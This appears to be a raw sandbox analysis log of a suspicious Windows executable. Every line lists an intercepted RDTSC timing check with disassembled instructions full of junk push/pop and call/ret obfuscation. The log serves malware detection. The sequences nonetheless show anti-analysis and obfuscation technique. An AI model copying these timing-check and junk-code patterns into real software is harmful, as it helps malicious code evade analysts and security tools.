Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E76B second address: 99E770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EE75 second address: 99EE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA4407343E8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99EE94 second address: 99EEC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA441297138h 0x00000008 jmp 00007FA44129712Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F003 second address: 99F008 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F008 second address: 99F00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F3C3 second address: 99F3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FA4407343D6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F3D1 second address: 99F3D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99F3D5 second address: 99F3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3665 second address: 9A366C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9FF1 second address: 9A9FF9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA173 second address: 9AA19F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FA44129712Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA34A second address: 9AA359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA4C6 second address: 9AA4CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA9EB second address: 9AA9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA9EF second address: 9AA9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA9F3 second address: 9AAA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA4407343E9h 0x0000000d push ecx 0x0000000e jg 00007FA4407343D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB294 second address: 9AB29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB29A second address: 9AB29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB29E second address: 9AB2A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB667 second address: 9AB66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB66B second address: 9AB671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB671 second address: 9AB675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABF89 second address: 9ABF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABF8D second address: 9ABF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC2F5 second address: 9AC2FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC40B second address: 9AC415 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA4407343DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC548 second address: 9AC590 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA44129712Dh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+1245657Bh], ebx 0x00000014 call 00007FA441297131h 0x00000019 call 00007FA441297130h 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop esi 0x00000021 pop esi 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC590 second address: 9AC596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC596 second address: 9AC59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AC59C second address: 9AC5AE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD3CC second address: 9AD3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD2DF second address: 9AD2E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD3D0 second address: 9AD3EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD2E5 second address: 9AD2E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE49E second address: 9AE4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA441297130h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ADCE1 second address: 9ADCE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEBB3 second address: 9AEBBD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA44129712Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEDA0 second address: 9AEDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEDA4 second address: 9AEE30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FA441297137h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FA441297131h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FA441297128h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D32BEh], ecx 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 jmp 00007FA441297139h 0x0000003e jbe 00007FA441297128h 0x00000044 push eax 0x00000045 pop eax 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a ja 00007FA441297128h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF763 second address: 9AF7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a and di, 2039h 0x0000000f popad 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FA4407343D8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e call 00007FA4407343DFh 0x00000033 sbb di, C142h 0x00000038 pop esi 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push edx 0x0000003e pop edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF7B7 second address: 9AF7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF7BC second address: 9AF7E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA4407343DFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4DC3 second address: 9B4DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA44129712Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4DD4 second address: 9B4DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343DAh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d jne 00007FA4407343D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972DA4 second address: 972DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B1ECD second address: 9B1ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA4407343D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6D7E second address: 9B6D83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B6D83 second address: 9B6DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FA4407343DDh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B99E0 second address: 9B99E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B99E6 second address: 9B9A70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007FA4407343D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f stc 0x00000010 call 00007FA4407343E2h 0x00000015 add ebx, 3036D7BFh 0x0000001b pop ebx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FA4407343D8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007FA4407343D8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+122D17B4h] 0x0000005a xchg eax, esi 0x0000005b jmp 00007FA4407343DBh 0x00000060 push eax 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 jnp 00007FA4407343D6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9A70 second address: 9B9A7E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8D1B second address: 9B8D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8D1F second address: 9B8D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAA7A second address: 9BAA83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8D23 second address: 9B8D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8D33 second address: 9B8D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9AA second address: 9BB9F0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA44129712Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D3651h] 0x00000013 push 00000000h 0x00000015 call 00007FA44129712Bh 0x0000001a mov ebx, 76D8672Eh 0x0000001f pop edi 0x00000020 push 00000000h 0x00000022 jno 00007FA44129712Ch 0x00000028 or dword ptr [ebp+124501A2h], ebx 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9F0 second address: 9BB9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA4407343D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB9FB second address: 9BBA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9B92 second address: 9B9C1F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA4407343D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007FA4407343DAh 0x00000012 mov bx, 8A00h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d sub dword ptr [ebp+124505A6h], ecx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a mov dword ptr [ebp+122D5265h], ecx 0x00000030 mov eax, dword ptr [ebp+122D022Dh] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FA4407343D8h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D1C6Fh], edx 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007FA4407343D8h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 0000001Dh 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9C1F second address: 9B9C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCA88 second address: 9BCB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA4407343E1h 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d jbe 00007FA4407343E7h 0x00000013 jmp 00007FA4407343E1h 0x00000018 pop ecx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007FA4407343D8h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FA4407343D8h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 movsx edi, si 0x00000053 xor dword ptr [ebp+1244EDC4h], ebx 0x00000059 push 00000000h 0x0000005b push eax 0x0000005c pushad 0x0000005d jmp 00007FA4407343E4h 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BABAD second address: 9BABB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECC0 second address: 9BECD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343DDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFDFF second address: 9BFE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE03 second address: 9BFE09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE09 second address: 9BFE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE0F second address: 9BFE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE13 second address: 9BFE17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE17 second address: 9BFE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA4407343E5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE37 second address: 9BFE3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE3E second address: 9BFE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007FA4407343E6h 0x0000000d push 00000000h 0x0000000f mov edi, 748DBB68h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FA4407343D8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 xchg eax, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE90 second address: 9BFE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE94 second address: 9BFEA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEA8 second address: 9BFEAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEAD second address: 9BFEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA4407343D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FA4407343D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEC5 second address: 9BFED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFED4 second address: 9BFED9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBC02 second address: 9BBC07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBC07 second address: 9BBC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCC4D second address: 9BCC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BCC59 second address: 9BCC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BDE6E second address: 9BDE78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA441297126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4190 second address: 9C41A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5083 second address: 9C50C8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA441297128h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FA441297128h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 or bx, 3EDFh 0x0000002c push 00000000h 0x0000002e mov bx, dx 0x00000031 push 00000000h 0x00000033 mov ebx, dword ptr [ebp+122D3641h] 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
